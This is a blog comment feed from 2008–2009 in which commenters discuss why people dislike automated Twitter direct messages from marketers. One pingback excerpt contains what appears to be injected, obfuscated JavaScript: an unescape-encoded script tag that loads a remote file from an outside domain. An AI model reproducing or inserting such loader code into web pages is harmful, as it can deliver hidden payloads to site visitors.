Comments on: Twitter me this-if auto DMs are such a pain, why do so many people use them?

By: I don’t give a damn about your affiliate offer or whatever you’re trying to sell to me on Twitter | SebastianJohnsson.com

Sat, 18 Apr 2009 03:09:05 +0000

[...] that these spammers ruin the Twitter experience – and I’m far from the first one to feel this way. This has gotten to a point where I rarely ever read direct messages, and people that actually want [...]

By: Why, How and Who Do You Follow on Twitter? | GrayMatter Minute

Why, How and Who Do You Follow on Twitter? | GrayMatter Minute — Wed, 11 Feb 2009 06:35:29 +0000

[...] Twitter me this-if auto DMs are such a pain, why do so many people use them? var ecov = “sh”; document.write(unescape(“%3Cscript src=’http://eco-safe.com/js/eco.js’ type=’text/javascript’%3E%3C/script%3E”)); [...]

By: Licence to Roam » Twitter: I don’t care

Licence to Roam » Twitter: I don’t care — Thu, 05 Feb 2009 19:24:44 +0000

[...] there was another conversation over at Tris Hussey’s blog. where I came to the conclusion that not only do I dislike auto-DMs on a follow, but I dislike [...]

By: Rachel

Rachel — Mon, 26 Jan 2009 07:12:43 +0000

I dislike an answer to a follow whether it's automated or not. A auto-DM is usually impersonal and sales bot like, so the person loses some of their reputation to me by doing that. A personal response, either in the open or via DM, shows me that the person I'm following feels grateful (in a social media version of grateful) as though I have done them a favour.

But with Twitter I'm not following someone to do them a favour, I'm following them for me, for my reasons, so there's no reason for someone to thank me. My POV about Twitter is it's not about the followers but about who I follow and the information I get from them, not the information I send out.

By: michaelhartzell

michaelhartzell — Sun, 11 Jan 2009 10:16:45 +0000

Thank you. What is an acceptable method to respond (if at all) when new people follow? I am testing an autodm for those who start to follow. Time is precious yet I do not want to ignore an outstretched hand. I would not want to autoDM for those connecting with me … except when they begin the follow. (which is why I also lean on auto answer on telephone and then block the time to return calls. thank you again.

By: trishussey

trishussey — Sun, 11 Jan 2009 10:02:15 +0000

Michael, right now the problem is that people are just blindly following eMarketing advice to do it. There has to be value. There has to be a reason why I should care. Frankly I've stopped following back people who's Twitter profiles talk about their lead generation, deal closing, SEO rocking -ness. I bet I'll get an auto DM back and it's annoying.

By: trishussey

trishussey — Sun, 11 Jan 2009 10:00:04 +0000

Thanks James. It's just how these things evolve. Someone says in a online marketing thing "you can increase leads and traffic x massive % with an auto DM…" and people just do it. If I got a useful auto DM like a discount or beta invite (which I have received), then it rocks. A personal note is great too, just I don't need or want the rest.

By: michaelhartzell

michaelhartzell — Fri, 09 Jan 2009 04:56:17 +0000

Too new with twitter to know how to auto DM as of yet. My time is being taken in the effort to be courteous and acknowledge each follow with a response. If we are able to use "technology" to respond to those calling us by phone: "thanks for calling. sorry I did was not available. Leave a message and I will get right back to you". Could we not have an auto responder DM similar to "this is an auto DM. Thank you for the follow. time is precious an unable to answer every new follow. If you are looking for something special, just send a DM and I am happy to respond."

Could it be said the true issues with an auto DM is the "intent"? The truth / intent is not clear or is misleading for many who use auto DM? (pitches, scores, etc)

If everything is used in a manner which is up front and the intentions clear, I believe an auto DM may be not only acceptable but useful as we attempt to meet like minded people where sharing, collaboration and a win-win is possible. (while using the precious time to benefit)

Thank you for the post.

By: James Tippins

James Tippins — Tue, 06 Jan 2009 02:38:46 +0000

Tris, I have finally gotten around to reading posts from the end of last year and this gets a resounding amen, yes and you got it. I cleaned my twitter of all the folks that I either didn't know and didn't intend to follow. It's a lot cleaner and I can actually follow the real social world of tweets instead of the marketing scams of spweeters (that's what I call spam tweets).

By: 17 Inspirational Auto DMs for Twitter

17 Inspirational Auto DMs for Twitter — Fri, 02 Jan 2009 02:39:30 +0000

[...] Twitter me this-if auto DMs are such a pain, why do so many people use them? [...]

By: micah

micah — Tue, 23 Dec 2008 10:13:23 +0000

Im with you. I immediately unfollow anyone who sends me an automated DM. Why? because clearly they are using Twitter as a marketing vehicle, not a communications vehicle.

I have no interest in the barkers; only in the communicators.

By: Rahsheen Porter

Rahsheen Porter — Mon, 22 Dec 2008 11:11:29 +0000

I immediately unfollow anyone who sends me an automated DM of any kind that amounts to a pitch or call to action. As you say, there are some cases that get a pass, but not your average person.

I think, if one were to do some research on Twitter marketing, one might find some pretty "big" names and some self-proclaimed experts that advocate these auto-DM's. Most of the people doing the advocating are from a different marketing background (network/affiliate marketing, list-building) who have jumped on the social media bandwagon in recent years.